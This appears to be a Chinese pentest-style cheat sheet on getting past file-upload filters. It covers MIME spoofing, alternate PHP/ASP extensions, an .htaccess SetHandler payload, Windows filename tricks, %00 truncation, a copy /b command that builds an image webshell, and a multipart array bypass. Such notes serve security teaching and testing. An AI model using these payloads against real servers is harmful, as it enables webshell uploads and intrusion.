上传漏洞的各种骚操作
首先来个流程图:
一、前端JS校验
方法:本地搭建html、burp抓包改文件名
二、校验MIME
方法:修改Content-Type
的值为image/jpeg
三、禁止上传asp/php/jsp/aspx等后缀
方法:试试php3/php4/phtml/jspx/jspf/asa/cer
等能存在的解析后缀
ps:httpd.conf
错误配置导致其他类型后置可以解析
四、过滤了大量的后缀,且上传文件不改变名称(Apache)
方法:上传.htaccess
文件,再上传xxx.hhh即可达到解析php
内容:
<FilesMatch "hhh">
SetHandler application/x-httpd-php
</FilesMatch>
五、过滤了大量的后缀,且修改了上传的名称
方法:
重复写后缀,即.pphphp
当处于win系统时:
后缀空格绕过,即.php
大小写绕过,即.Php
点绕过,即.php.
特殊字符绕过,即.php::$DATA
当审计之后,发现文件名被拼接到路径后面时,双点绕过,即.php. .
六、上传文件的路径可控,过滤了大量后缀
方法:在文件路径后添加00截断,即/upload/1.php%00
。若是post方式,则进入burp的hex模式修改为00即可
七、上传图片木马
方法:执行名称copy xx.jpg/b + xx.php/a new.jpg
,此时new.jpg则为图片马,配合一句话木马+本地文件包含漏洞食用。
八、上传文件名可控时,过滤了大量后缀
方法:
win系统直接.php.
若发现explode()
和reset()
函数,则burp中将文件名分组:
-----------------------------2995203582406826926656191698
Content-Disposition: form-data; name="save_name[1]"
php
-----------------------------2995203582406826926656191698
Content-Disposition: form-data; name="save_name[3]"
jpg
-----------------------------2995203582406826926656191698
最后来个思维导图: